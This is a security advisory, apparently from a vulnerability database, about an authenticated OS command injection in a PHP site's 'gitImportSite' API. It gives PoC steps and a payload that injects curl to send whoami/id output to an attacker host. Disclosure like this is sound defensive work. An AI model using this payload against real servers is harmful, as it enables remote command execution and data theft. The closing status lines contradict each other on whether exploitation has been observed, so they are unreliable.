No affected components available
Summary
The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.
Details
The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.
Affected Resources
• Operations.php:2103 gitImportSite() • <domain>/<user>/system/api/gitImportSite
PoC
To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').
-
Start a webserver.
-
Initiate a request to the ’archiveSite’ endpoint.
-
Capture and modify the request in BurpSuite.
-
Observe command output in the HTTP request from the server.
Command Injection Payload
http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef
Impact
An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
